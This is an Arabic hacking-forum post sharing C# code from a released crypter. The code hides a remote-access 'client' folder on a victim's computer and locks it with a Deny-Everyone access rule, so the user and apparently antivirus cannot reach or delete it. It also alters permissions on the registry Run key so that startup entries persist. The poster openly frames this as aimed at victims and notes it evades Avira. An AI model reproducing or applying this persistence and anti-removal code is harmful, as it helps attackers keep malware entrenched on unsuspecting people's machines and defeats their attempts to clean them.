17.01.2018 حماية مجلد الكلاينت من الفحص والحذف وتثبيت ابدي للكلاينت من خلال حماية مفتاح التثبيت بالريجيستري


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
لاتقم بتطبيق الشرج على جهازك بل على الوهمي تحسبا لاي خطا منك بالتطبيق رح يكلفك الفرمتة ^_^
حياكم الله ياشباب
الاخ مستر زيرو نزل السورس هنا
NullCrypt3r now is free
وانا نزلت البارحة كيفية عمل Execute لسكربت vbs والطريقة كانت موجودة بالسورس
والان ايضا فيه فانكشن بالسورس بتحمي لك مجلد اللي فيه الكلاينت الخاص بك من الحذف
بجانب انها بتخفي المجلد " ان الضحية ماعامل اظهار للملفات فالويندوز ياتي باعدادات
افتراضية ان بقي عليها المستخدم مارح يشوف المجلد"
وان شاف المجلد مارح يكون له القدرة للوصل اليه
حتى الحمايات "على الاقل افيرا لان جربت عليها" مارح تقدر تعرف انه فيه ملف بداخل المجلد
ومثل ماقلت لكم المستخدم مارح يكون له القدرة للوصول للمجلد هذا "بيعطيه خطأ"
وبعد مارديت بموضوع الاخ انو الخاصية هذه قوية واعجبتني
قال لي انه فيه مثلها بس للريجيستري فبحثت وشفت بالجيت هاب "مااعرف ان موجود بالسورس لان لسا مخلصته"
### تعديل موجودة بالسورس###
نقدر نحمي مثلا المفتاح المسؤول عن البرامج التي تعمل عند بدء التشغيل بقصد المسار التالي
C#:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersi
يعني فينا نحمي Run المستخدم مارح يقدر ابدا يحذف اي من اللي بيشتغلو ببدء التشغيل
طبعا علمتكم كيف تتجاوزو هالمشكلة بالفديو ان صارت معكم ..
معلش سامحوني هون مافي شرح كثير ولان هنا مش من تعبي فمابحب اشرح كتير ههه
بس بالفديو بتشوف كل شي
هنا اللي رح يلزمك
C#:
static void Undeletable(string key)
       {
           var account = new SecurityIdentifier(WellKnownSidType.WorldSid, null).Translate(typeof(NTAccount)) as NTAccount;
           using (var rk = Registry.CurrentUser.OpenSubKey(key, true))
           {
               var rs = new RegistrySecurity();
               if (account != null)
               {
                   rs.AddAccessRule(new RegistryAccessRule(account.ToString(), RegistryRights.FullControl,
                       InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
               }
               rk?.SetAccessControl(rs);
           }
       }
       static void FileSystemAccess(NTAccount identity, FileSystemRights control, AccessControlType acess, out FileSystemAccessRule SystemAccessRule)
       {
           SystemAccessRule = new FileSystemAccessRule(identity, control, acess);
       }
       private static void Protect(string pathDirectory)
       {
           try
           {
               var identity = (NTAccount)new SecurityIdentifier(WellKnownSidType.WorldSid, null).Translate(typeof(NTAccount));
               var dirInfo = new DirectoryInfo(pathDirectory);
               var dirSec = dirInfo.GetAccessControl();
               dirInfo.Attributes = FileAttributes.Hidden | FileAttributes.System;
               FileSystemAccess(identity, FileSystemRights.FullControl, AccessControlType.Deny, out var systemAccess);
               dirSec.AddAccessRule(systemAccess);
               dirInfo.SetAccessControl(dirSec);
           }
           catch
           {
               // ignored
           }
       }
الفديو بالمرفقات
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك